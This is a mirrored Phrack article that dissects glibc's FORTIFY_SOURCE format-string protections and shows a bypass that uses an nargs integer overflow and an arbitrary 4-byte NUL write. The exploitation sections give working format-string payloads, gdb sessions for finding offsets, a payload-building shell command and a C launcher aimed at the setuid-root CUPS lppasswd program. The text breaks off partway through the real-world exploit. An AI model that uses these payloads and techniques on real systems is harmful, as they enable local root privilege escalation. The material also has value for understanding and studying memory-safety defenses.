mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
836 lines
32 KiB
Text
836 lines
32 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0e, Issue 0x43, Phile #0x09 of 0x10
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-------------------=[ A Eulogy for Format Strings ]=-------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-----------------------=[ by Captain Planet ]=-------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
Index
|
||
|
|
||
|
------[ 0. Introduction
|
||
|
------[ 1. Glibc's FORTIFY_SOURCE
|
||
|
------[ 2. Bypassing FORTIFY_SOURCE
|
||
|
------[ 3. Exploitation
|
||
|
A. Dummy program
|
||
|
B. CUPS lppasswd bug
|
||
|
C. TODO- ASLR
|
||
|
------[ 4. Afterword
|
||
|
|
||
|
|
||
|
------[ 0. Introduction
|
||
|
|
||
|
Today the Windows CRT disables %n by default [0]. And likewise, glibc's
|
||
|
FORTIFY_SOURCE patches provides protection mechanisms which render
|
||
|
exploitation impossible. Objective-C isn't being considered, but i'm told
|
||
|
you can have plenty of fun there too. Even format strings weren't a
|
||
|
critically endangered species, they've been demoted to the class of
|
||
|
infoleak. The great thing about format strings of course was that they
|
||
|
provided both a read and write primitive. They were the `spork` of
|
||
|
exploitation. ASLR? PIE? NX Stack/Heap? No problem, fmt had you covered.
|
||
|
|
||
|
The story goes that around 2000 everybody was hunting down format strings.
|
||
|
Just about everything was vulnerable. Check out the TESO article in the
|
||
|
links. It was pretty outrageous. CORE exploited pretty much everything with
|
||
|
locales too [1]. But today, those days are long one. Unless of course
|
||
|
you're hacking edus, in which case you can still use locale bugs to pop
|
||
|
root shells on PMOS technology.
|
||
|
|
||
|
A few months ago something funny happened. A guy by the name of Ronald
|
||
|
Volgers [2] had his way with CUPS lppasswd, which was shipped root setuid
|
||
|
in Ubuntu and Debian. Nice find man! Locale bugs, oh yeah, awesome!
|
||
|
|
||
|
Unfortunately, the aforementioned patch makes fmt str exploitation quite
|
||
|
unlikely.
|
||
|
|
||
|
In detail, the FORTIFY_SOURCE provides two countermeasures against fmt
|
||
|
strings.
|
||
|
|
||
|
1) Format strings containing the %n specifier may not be located at a
|
||
|
writeable address in the memory space of the application.
|
||
|
|
||
|
2) When using positional parameters, all arguments within the range
|
||
|
must be consumed. So to use %7$x, you must also use 1,2,3,4,5 and 6.
|
||
|
|
||
|
But thats okay since the FORTIFY_SOURCE patch is not really all that
|
||
|
complete. (-: Why? Because glibc is really really weird code. It amazes me
|
||
|
that someone would travel all around the world and take credit for glibc
|
||
|
when they did not even write it. Actually, it makes perfect sense, nobody
|
||
|
with any dignity would admit to writing any part of glibc to public
|
||
|
audiences. Don't get me wrong, glibc lets pretty good stuff happen to my
|
||
|
computer. The code is pretty hard to look at though, you wouldn't introduce
|
||
|
her to your parents if you know what I mean...
|
||
|
|
||
|
What you're about to read is slightly harder than writing a format string
|
||
|
and a little bit easier than building glibc itself. (Glibc binaries are
|
||
|
ideal for an ELF VX because of the difficulty of compiling them).
|
||
|
Prequisites are understanding format string exploitation. They were last
|
||
|
written about in phrack here [3] if you need a refresher. If you have never
|
||
|
exploited a format string vuln, seek the article by 'rebel' [6]. It is one
|
||
|
of the most skilled and digestible discourses available.
|
||
|
|
||
|
So lets dive right in.
|
||
|
|
||
|
------[ 1. Glibc's FORTIFY_SOURCE
|
||
|
|
||
|
===========================================================================
|
||
|
WARNING: THE REST OF THIS ARTICLE INCLUDES GLIBC CODE WHICH MAY INDUCE
|
||
|
CHEST PAIN, VOMITING, BLACKOUTS, or PERMANENT LOSS OF EYESIGHT. ALL
|
||
|
ATTEMPTS TO KEEP KEEP GLIBC CODE TO A MINIMUM HAVE BEEN MADE BY THE AUTHOR.
|
||
|
===========================================================================
|
||
|
|
||
|
"%49150u %4849$hn %1$*269158540$x %1$*13996$x %1073741824$d"
|
||
|
|
||
|
Have you seen a format string like that before? It makes positional
|
||
|
parameters look less attractive, doesn't it?
|
||
|
|
||
|
So how does this patch supposedly work?
|
||
|
|
||
|
To turn it on the binary must be compiled with `-D_FORTIFY_SOURCE=2`
|
||
|
enabled with an optimization level of at least -O2. This is likely because
|
||
|
of the compiler pass the patch is implemented at.
|
||
|
|
||
|
So the following happens.
|
||
|
|
||
|
0x08048509 <+57>: mov %ebx,0x4(%esp)
|
||
|
0x0804850d <+61>: movl $0x1,(%esp)
|
||
|
0x08048514 <+68>: call 0x80483c4 <__printf_chk@plt>
|
||
|
|
||
|
First, calls to printf, etc get rerouted to __*_chk in your compiled binary
|
||
|
and the first argument of :flag: is passed as 1.
|
||
|
|
||
|
A.
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
File: libc/debug/printf_chk.c
|
||
|
|
||
|
/* Write formatted output to stdout from the format string FORMAT. */
|
||
|
int
|
||
|
___printf_chk (int flag, const char *format, ...)
|
||
|
{
|
||
|
va_list ap;
|
||
|
int done;
|
||
|
|
||
|
_IO_acquire_lock_clear_flags2 (stdout);
|
||
|
if (flag > 0)
|
||
|
stdout->_flags2 |= _IO_FLAGS2_FORTIFY;
|
||
|
|
||
|
va_start (ap, format);
|
||
|
done = vfprintf (stdout, format, ap);
|
||
|
va_end (ap);
|
||
|
|
||
|
if (flag > 0)
|
||
|
stdout->_flags2 &= ~_IO_FLAGS2_FORTIFY;
|
||
|
_IO_release_lock (stdout);
|
||
|
|
||
|
return done;
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
The function sets the _IO_FLAGS2_FORTIFY bit to ON in the FILE* structure
|
||
|
to enable the FORTIFY checks. This is sort of clever, as the bit will
|
||
|
always get toggled on when entering dangerous functions. You can not
|
||
|
universally disable the mechanism very easily. But this itself does not
|
||
|
actually guarantee any kind of security.
|
||
|
|
||
|
Under libio/libio.h the following secondary flags are defined:
|
||
|
|
||
|
#define _IO_FLAGS2_MMAP 1 //fopen 'm' mmap access mode
|
||
|
#define _IO_FLAGS2_NOTCANCEL 2 //open/read/write should not be used as
|
||
|
thread cancellization points
|
||
|
#ifdef _LIBC
|
||
|
# define _IO_FLAGS2_FORTIFY 4 //enable fortify security checks
|
||
|
#endif
|
||
|
#define _IO_FLAGS2_USER_WBUF 8 //wide buffer (2-byte) support funk
|
||
|
#ifdef _LIBC
|
||
|
# define _IO_FLAGS2_SCANF_STD 16 // %a support for scanf
|
||
|
#endif
|
||
|
|
||
|
Disabling the entire flags buffer should not be too much trouble, but may
|
||
|
lead to some inconsistencies if the file stream pointer is opened with 'm'
|
||
|
in the mode parameter.
|
||
|
|
||
|
The astute reader will be wondering about functions such as vsnprintf,
|
||
|
which require no file stream pointer. Well, glibc provides an okay
|
||
|
solution. A file stream pointer is made on the stack with a callback that
|
||
|
writes to a buffer instead of a file descriptor. This file stream pointer
|
||
|
is then passed along to vfprintf.
|
||
|
|
||
|
Now, with the _IO_FLAGS2_FORTIFY bit set, there are two protections that
|
||
|
are enabled.
|
||
|
|
||
|
B. Protection #1
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
File: libc/stdio-common/vfprintf.c
|
||
|
|
||
|
LABEL (form_number):
|
||
|
\
|
||
|
if (s->_flags2 &
|
||
|
_IO_FLAGS2_FORTIFY) \
|
||
|
|
||
|
{ \
|
||
|
if (!
|
||
|
readonly_format) \
|
||
|
|
||
|
{ \
|
||
|
extern int __readonly_area (const void *,
|
||
|
size_t) \
|
||
|
|
||
|
attribute_hidden; \
|
||
|
|
||
|
readonly_format \
|
||
|
= __readonly_area (format, ((STR_LEN (format) +
|
||
|
1) \
|
||
|
* sizeof
|
||
|
(CHAR_T))); \
|
||
|
|
||
|
} \
|
||
|
if (readonly_format <
|
||
|
0) \
|
||
|
__libc_fatal ("*** %n in writable segment detected
|
||
|
***\n"); \
|
||
|
|
||
|
} \
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
If the format string payload containing a %n is located in a writeable
|
||
|
memory area such as the stack or BSS or DATA or the heap, this patch will
|
||
|
detect it and error out. Besides a DoS, this patch renders format strings
|
||
|
pretty harmless.
|
||
|
|
||
|
|
||
|
C. Protection #2
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
File: libc/stdio-common/vfprintf.c
|
||
|
/* Determine the number of arguments the format string consumes. */
|
||
|
nargs = MAX (nargs, max_ref_arg);
|
||
|
|
||
|
/* Allocate memory for the argument descriptions. */
|
||
|
args_type = alloca (nargs * sizeof (int));
|
||
|
memset (args_type, s->_flags2 & _IO_FLAGS2_FORTIFY ? '\xff' : '\0',
|
||
|
nargs * sizeof (int));
|
||
|
args_value = alloca (nargs * sizeof (union printf_arg));
|
||
|
args_size = alloca (nargs * sizeof (int));
|
||
|
..
|
||
|
for (cnt = 0; cnt < nargs; ++cnt)
|
||
|
..
|
||
|
switch (args_type[cnt])
|
||
|
..
|
||
|
case -1:
|
||
|
/* Error case. Not all parameters appear in N$ format
|
||
|
strings. We have no way to determine their type. */
|
||
|
assert (s->_flags2 & _IO_FLAGS2_FORTIFY);
|
||
|
__libc_fatal ("*** invalid %N$ use detected ***\n");
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
The effect of this second patch is that all of the arg_types are set to -1
|
||
|
by default. If there are any argument holes in between which do not get
|
||
|
processed, they are left as -1. So the effect is that:
|
||
|
|
||
|
%4$x
|
||
|
|
||
|
would be invalid but
|
||
|
|
||
|
%4$x %2$x %1$x %3x
|
||
|
|
||
|
would be okay.
|
||
|
|
||
|
To be honest, I do not really see this as some huge security improvement
|
||
|
but more of a nuisance. It does not really stop infoleaks much. Maybe they
|
||
|
wanted to prevent people from exploiting 8 character format strings,
|
||
|
because those are really common in the wargaming scene.
|
||
|
|
||
|
|
||
|
------[ 2. Bypassing FORTIFY_SOURCE
|
||
|
|
||
|
Now, if you were paying attention, you saw a bunch of allocas in 1-A. That
|
||
|
:nargs: variable, that is the calculated maximum number of arguments. If a
|
||
|
fmt str has simple arguments, the value is just that number. But, if a fmt
|
||
|
str uses width arguments or positional parameters (often called direct
|
||
|
parameters in other format string articles), then those also factor into
|
||
|
the maximum :nargs: value
|
||
|
|
||
|
As an example in this string,
|
||
|
%x %x %x %13981938$x,
|
||
|
|
||
|
13981938 is the :nargs: value being passed to the alloca functions in code
|
||
|
snippet 1-C.
|
||
|
|
||
|
Do not get too excited. This is not enough for generic control.
|
||
|
Unfortunately, we can not do the same stack shifting as in [4] since we are
|
||
|
in a context past the initial stack frame allocation. At the epilogue of
|
||
|
the function, a base register will be used to collapse the stack, making
|
||
|
stack shifting less useful without being accompanied by memory clobbering.
|
||
|
This is true of many of the architecture's C compilers. They pretty much
|
||
|
all implement some sort of easy stack clean-up with a base register, so
|
||
|
alloca itself is difficult to attack.
|
||
|
|
||
|
Instead, it is the operations that use the allocated memory that must be
|
||
|
exploited. The integer overflow can be used to trigger all sorts of memory
|
||
|
trespasses.
|
||
|
|
||
|
One other thing to do is shift the stack into the heap using the alloca.
|
||
|
This also turns out to be difficult because of those memset operations.
|
||
|
|
||
|
But we do have a loss of state. And as always, from a loss of state new
|
||
|
opportunites arise. We are in the land of undefined. Hi mom and dad!
|
||
|
|
||
|
This article will use one such trespass opportunity to bypass
|
||
|
FORTIFY_SOURCE. It should be noted that others exist, but may be a bit
|
||
|
harder to utilize than this one.
|
||
|
|
||
|
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
|
||
|
|
||
|
Arbitrary 4-byte NUL overwrite.
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
File: stdio-common/vfprintf.c
|
||
|
|
||
|
/* Fill in the types of all the arguments. */
|
||
|
for (cnt = 0; cnt < nspecs; ++cnt)
|
||
|
{
|
||
|
/* If the width is determined by an argument this is an int. */
|
||
|
if (specs[cnt].width_arg != -1)
|
||
|
args_type[specs[cnt].width_arg] = PA_INT;
|
||
|
|
||
|
enum
|
||
|
{ /* C type: */
|
||
|
PA_INT, /* int */
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Quick summary of the code:
|
||
|
args_type[ ATTACKER_OFFSET ] = 0x00000000;
|
||
|
|
||
|
Explanation:
|
||
|
The above code is required to process width arguments that are passed in as
|
||
|
parameters.
|
||
|
|
||
|
For example:
|
||
|
|
||
|
%1$*269096872$x
|
||
|
|
||
|
Effectively does:
|
||
|
//specs[cnt].width_arg = 269096872
|
||
|
args_type[specs[cnt].width_arg] = 0
|
||
|
|
||
|
..which, if your stack is set up just right, can toggle off that
|
||
|
_IO_FLAGS2_FORTIFY bit in the `stdout` FILE structure.
|
||
|
|
||
|
Remember that :args_type: was one of the buffers allocated on the stack in
|
||
|
the alloca snippet above in 1-C and is an array of an integer base type.
|
||
|
|
||
|
Care must be taken as the alloca becomes a bit of a problem when nargs gets
|
||
|
set to a large value. This will likely shift the stack to somewhere
|
||
|
unmapped. The next push or call instructions would result in a crash,
|
||
|
preventing proper exploitation.
|
||
|
|
||
|
So the key constraints around :nargs: are as follows:
|
||
|
|
||
|
1) the stack must be shifted somewhere sane
|
||
|
2) the memset operation must not hit an unmapped page.
|
||
|
|
||
|
The easiest way to meet these two contraints is to use an integer overflow.
|
||
|
Since no bounds checking occurs on :nargs:, you can artificially keep the
|
||
|
stack in-place with this: `%1073741824$`. No specifier is really required
|
||
|
and you can end it with just a $ sign. The second contraint is also
|
||
|
satisfied because the memset will be called with a length parameter of 0.
|
||
|
|
||
|
The details of the allocas are a little bit more complex if you look at the
|
||
|
assembly. For our purposes, they roughly end up doing:
|
||
|
|
||
|
esp -= nargs * (4)
|
||
|
esp -= nargs * (12)
|
||
|
esp -= nargs * (4)
|
||
|
|
||
|
The 1073471824*4 happens to be 0 when truncated into a 32-bit integer. This
|
||
|
and other factors of 1073471824 prove to be sufficient for side-stepping
|
||
|
the alloca constraints.
|
||
|
|
||
|
This concludes the arbitrary 4-byte NUL overwrite.
|
||
|
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||
|
|
||
|
|
||
|
The first patch (1-B) can be disabled by clearing that IO_FLAGS2_FORTIFY
|
||
|
bit in the file stream pointer. Typically it will be the only flag enabled
|
||
|
on the file stream pointer. In the unlikeley case that one of the other
|
||
|
bits was set, for example _IO_FLAGS2_MMAP, inconsitencies may arise when
|
||
|
the file stream pointer is closed. This may or may not affect
|
||
|
exploitability.
|
||
|
|
||
|
We will now revisit the second part of the patch. It makes any format
|
||
|
string exploit less flexible. The loop on nargs has to be terminated early
|
||
|
to avoid the assert and the libc_fatal when a "hole" in the arguments is
|
||
|
discovered. By hole, I am referring to the code in (1-C) which checks the
|
||
|
:args_type: value against -1. Remember that the fortify source patch won't
|
||
|
let you access %5$x without also accessing %1$? %2$? %3$? and %4?. That is
|
||
|
what is meant by 'hole' in this context.
|
||
|
|
||
|
The termination of that loop can coincidentally happen all by itself if the
|
||
|
stack is aligned correctly. The loop will hit out of bounds of the alloca
|
||
|
created buffers and self terminate when :nargs: is set to 0, provided that
|
||
|
:nargs: is stored by the compiler on the stack. If it fails to do this, an
|
||
|
assert() statemet will be triggered, preventing exploitation.
|
||
|
|
||
|
Or, we can reuse the 4-byte NUL write can be used to bypass the loop
|
||
|
reliably.
|
||
|
|
||
|
One instance of a successful bypass can then be performed in two easy
|
||
|
steps.
|
||
|
|
||
|
1. Turn off the IO_FORTIFY_SOURCE bit to allow %n from a writeable address
|
||
|
2. Set nargs=0 to skip the value-filling loop.
|
||
|
|
||
|
Note that bypassing the loop via #2 requires us to dig further down the
|
||
|
stack to find our user input since the same loop is responsible for filling
|
||
|
in the args_value array. If you have ever attempted to exploit a format
|
||
|
string by truncating a pointer and reusing it as destination on glibc, you
|
||
|
probably failed because of that args_value array.
|
||
|
|
||
|
------[ 3. Exploitation
|
||
|
|
||
|
In standard phrack style we will first do this on a test binary and then on
|
||
|
a real-world binary to disprove any accusations of academic tendencies,
|
||
|
like thought experiments. Feel free to skip to part B.
|
||
|
|
||
|
------------[ A. Dummy Test Program for clarity
|
||
|
|
||
|
Note: ASLR is disabled and the program has an executable stack.
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
//File: test.c
|
||
|
//gcc -D_FORTIFY_SOURCE=2 -O2
|
||
|
int main(){
|
||
|
char buf[256];
|
||
|
fgets(buf, sizeof(buf), stdin);
|
||
|
printf(buf);
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
captain@planet:~/research/fmt/article$ ./a.out
|
||
|
%n
|
||
|
*** %n in writable segment detected ***
|
||
|
Aborted
|
||
|
captain@planet:~/research/fmt/article$ ./a.out
|
||
|
%4$x
|
||
|
*** invalid %N$ use detected ***
|
||
|
Aborted
|
||
|
|
||
|
Oh nooO! Scary format string protections are making everything hurt.
|
||
|
|
||
|
ENABLE POWER MORPHING LINUX SHARING COMMUNITY POWER
|
||
|
----
|
||
|
Alright remember the process kids.
|
||
|
1. Disable fortify source
|
||
|
2. Set nargs = 0
|
||
|
3. Enjoy the %n
|
||
|
|
||
|
So first, lets figure out where that arbitrary 4-byte NUL write is on our
|
||
|
system. We will pick some ridiculous desination, like %1$*269168516$. If it
|
||
|
doesn't crash, keep incrementing that by about 20000.
|
||
|
|
||
|
So we'll send the following as our investigative payload. The first part
|
||
|
should trigger the NUL write. The second part should keep the stack sane.
|
||
|
|
||
|
%1$*269168516$x %1073741824$
|
||
|
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
captain@planet:~/research/fmt/article$ gdb -q ./a.out
|
||
|
Reading symbols from /home/captain/research/fmt/article/a.out...(no
|
||
|
debugging symbols found)...done.
|
||
|
(gdb) r
|
||
|
Starting program: /home/captain/research/fmt/article/a.out
|
||
|
%1$*269168516$x %1073741824$
|
||
|
|
||
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
||
|
"%1$*269168516$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735
|
||
|
1735 vfprintf.c: No such file or directory.
|
||
|
in vfprintf.c
|
||
|
(gdb) x/i $pc
|
||
|
=> 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4)
|
||
|
(gdb)
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
|
||
|
The fortify source bit will be somewhere inside of the file stream pointer
|
||
|
over at s=0x29f4e0.
|
||
|
|
||
|
stdout->_flags2 |= _IO_FLAGS2_FORTIFY;
|
||
|
|
||
|
On this target machine, it happens to be @+60
|
||
|
|
||
|
0x29f51c <_IO_2_1_stdout_+60>: 0x00000004
|
||
|
|
||
|
Since the operations here are relative, ASLR is not too big of an issue and
|
||
|
once you find your offset, it's pretty consistent (YMMV).
|
||
|
|
||
|
Here is the equation
|
||
|
$ecx + $eax*4 should = 0x29f51c
|
||
|
|
||
|
(gdb) p/d ((0x10029f51c-$ecx) & 0xffffffff)/4
|
||
|
$11 = 269145003
|
||
|
|
||
|
Counting starts from 0, so add 1 to that for the payload.
|
||
|
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
captain@planet:~/research/fmt/article$ gdb -q ./a.out
|
||
|
Reading symbols from /home/captain/research/fmt/article/a.out...(no
|
||
|
debugging symbols found)...done.
|
||
|
(gdb) break vfprintf
|
||
|
Function "vfprintf" not defined.
|
||
|
Make breakpoint pending on future shared library load? (y or [n]) y
|
||
|
Breakpoint 1 (vfprintf) pending.
|
||
|
(gdb) r
|
||
|
Starting program: /home/captain/research/fmt/article/a.out
|
||
|
%1$*269145004$x %1073741824$
|
||
|
|
||
|
Breakpoint 1, _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
||
|
"%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:210
|
||
|
210 vfprintf.c: No such file or directory.
|
||
|
in vfprintf.c
|
||
|
(gdb) tbreak *(vfprintf+11489)
|
||
|
Temporary breakpoint 2 at 0x1888f1: file vfprintf.c, line 1735.
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Temporary breakpoint 2, 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0,
|
||
|
format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)")
|
||
|
at vfprintf.c:1735
|
||
|
1735 in vfprintf.c
|
||
|
(gdb) x/i $pc
|
||
|
=> 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4)
|
||
|
(gdb) x/wx $ecx+$eax*4
|
||
|
0x29f51c <_IO_2_1_stdout_+60>: 0x00000004
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
|
||
|
This operation has to be repeated for :nargs:. The easiest way to locate
|
||
|
:nargs: is to pick a value you know (0xdeadbeef), and find it on the stack
|
||
|
or just pick it up where it gets loaded before the alloca code.
|
||
|
|
||
|
%1$*3735928559$x
|
||
|
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
||
|
"%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721
|
||
|
1721 vfprintf.c: No such file or directory.
|
||
|
in vfprintf.c
|
||
|
(gdb) x/wx $ebp-0x4bc
|
||
|
0xbffeadcc: 0xdeadbeef
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
|
||
|
p/d (0xbffeadcc-$ecx)/4+1
|
||
|
= 472 for me
|
||
|
|
||
|
Disabling both :nargs: and fortify source : [%*472$ %1$*269145004$
|
||
|
%1073741824$]
|
||
|
|
||
|
Well, that's not actually true. It depends on what your buffer looks like.
|
||
|
For example if you attempt to do:
|
||
|
|
||
|
%49150u %4847$hn %*472$ %1$*269145004$ %1073741824$
|
||
|
|
||
|
The first two parameters will cause the stack to shift and the values have
|
||
|
to be recalculated based on the size of that $hn offset. This gets a bit
|
||
|
hairy, but with some grunt work you'll be done. The next task is finding
|
||
|
a good way to hijack flow control.
|
||
|
|
||
|
One good vector happens to be a call to free shortly after the %n write.
|
||
|
|
||
|
=> 0xb7d4f3f8 <_IO_vfprintf_internal+2024>: mov -0x4bc(%ebp),%edi
|
||
|
=> 0xb7d4f3fe <_IO_vfprintf_internal+2030>: mov %edi,(%esp)
|
||
|
=> 0xb7d4f401 <_IO_vfprintf_internal+2033>: call 0xb7d28988 <free@plt>
|
||
|
=> 0xb7d28988 <free@plt>: jmp *0x24(%ebx)
|
||
|
(gdb) x/wx $ebx+0x24
|
||
|
0x29f018: 0x001b8e60
|
||
|
|
||
|
We will overwrite the upper 16-bits to point into the stack
|
||
|
(0x001b->0xbfff).
|
||
|
Write Dest: 0x29f01a
|
||
|
|
||
|
One way to smuggle this value is using a command line argument.
|
||
|
|
||
|
%49150u %4847$hn %*13996$ %1$*269158528$ %1073741824$
|
||
|
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
||
|
"%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721
|
||
|
1721 vfprintf.c: No such file or directory.
|
||
|
in vfprintf.c
|
||
|
(gdb) x/wx $ebp-0x4bc
|
||
|
0xbffeadcc: 0xdeadbeef
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
|
||
|
So after some fenagling you'll reach something like this:
|
||
|
|
||
|
A great improvement would be automation via instrumentation or mapping
|
||
|
out the stack shifting very tightly.
|
||
|
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
captain@planet:~/research/fmt/article$ export PAY=`python -c 'print
|
||
|
"\xcc"*4096*20'`
|
||
|
captain@planet:~/research/fmt/article$ (python -c 'print "%49150u %4847$hn
|
||
|
%1$*269168516$x %1$*13996$x %1073741824$"')
|
||
|
| ./a.out `echo -ne "a ccc ddbbb
|
||
|
\x1a\xf0\x29 fffff"`
|
||
|
...
|
||
|
Trace/breakpoint trap (core dumped)
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
|
||
|
|
||
|
------------[ B. The real world exploit
|
||
|
|
||
|
===========================================================================
|
||
|
===========================================================================
|
||
|
===========================================================================
|
||
|
|
||
|
CUPS locale() vulnerability.
|
||
|
|
||
|
Ronald Volgers noticed that lppasswd used user-specified locales. A few
|
||
|
distributions (debian, ubuntu, fedora?) ship lppasswd setuid root. Is this
|
||
|
awesome? yes
|
||
|
|
||
|
ls -al lppasswd
|
||
|
-rwsr-xr-x 1 root root 19144 2010-07-07 00:56 lppasswd
|
||
|
|
||
|
To exploit it, you just export LOCALEDIR to a place where
|
||
|
$LOCALEDIR/C/cups_C.po holds the format strings for the various printfs in
|
||
|
lppasswd.
|
||
|
|
||
|
This exploit turns out to be hard for a few reasons. The first, it is non
|
||
|
interactive. That is, the format string can not be used for an info leak to
|
||
|
bypass ASLR. The second limitation is that lppasswd creates a LOCK file, so
|
||
|
any weaponized exploit must be highly reliable. Luckily this second one can
|
||
|
be bypassed with resource limits.
|
||
|
|
||
|
File: sploit_filz.c
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
#include <sys/resource.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <unistd.h>
|
||
|
#include <stdio.h>
|
||
|
#include <sys/time.h>
|
||
|
|
||
|
int main(int argc, char *argv[])
|
||
|
{
|
||
|
struct rlimit rara;
|
||
|
int keke[4096*4];
|
||
|
char test[0x10000];
|
||
|
char *args[] = { "./lppasswd", 0 };
|
||
|
char *env[] = { "LOCALEDIR=./", &keke, test, 0};
|
||
|
int riri;
|
||
|
int jmp = 0xbffdc66c;
|
||
|
|
||
|
memset(test, 0x01, sizeof(test));
|
||
|
test[0x10000-1] = 0x00;
|
||
|
|
||
|
for(riri = 0; riri < sizeof(keke)/sizeof(int); riri+=4){
|
||
|
keke[riri+0] = jmp+2;
|
||
|
keke[riri+1] = jmp+2;
|
||
|
keke[riri+2] = jmp;
|
||
|
keke[riri+3] = jmp;
|
||
|
}
|
||
|
|
||
|
rara.rlim_max = rara.rlim_cur = atoi(argv[1]);
|
||
|
setrlimit(RLIMIT_NOFILE, &rara);
|
||
|
|
||
|
execve("./lppasswd",args,env);
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
There is also one important difference between the test program and
|
||
|
lppasswd. The vulnerability inside libcups is triggered by vsnprintf.
|
||
|
Internally, vsnprintf creates a fake file stream pointer on the stack and
|
||
|
then passes it to vfprintf.
|
||
|
|
||
|
This is actually pretty good news in terms of bypassing ASLR as the file
|
||
|
stream pointer is a fixed offset from the format string structures, which
|
||
|
glibc allocates on the stack.
|
||
|
|
||
|
The vulnerable function in libcups follows.
|
||
|
|
||
|
File: cups/cups/langprintf.c
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
int /* O - Number of bytes written */
|
||
|
_cupsLangPrintf(FILE *fp, /* I - File to write to */
|
||
|
const char *message, /* I - Message string to use */
|
||
|
...) /* I - Additional arguments as needed */
|
||
|
{
|
||
|
|
||
|
...
|
||
|
|
||
|
va_start(ap, message);
|
||
|
vsnprintf(buffer, sizeof(buffer),
|
||
|
_cupsLangString(cg->lang_default, message), ap);
|
||
|
va_end(ap);
|
||
|
..
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
With ASLR disabled, the best option is to go after the return address. In
|
||
|
the callstack for vfprintf:
|
||
|
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
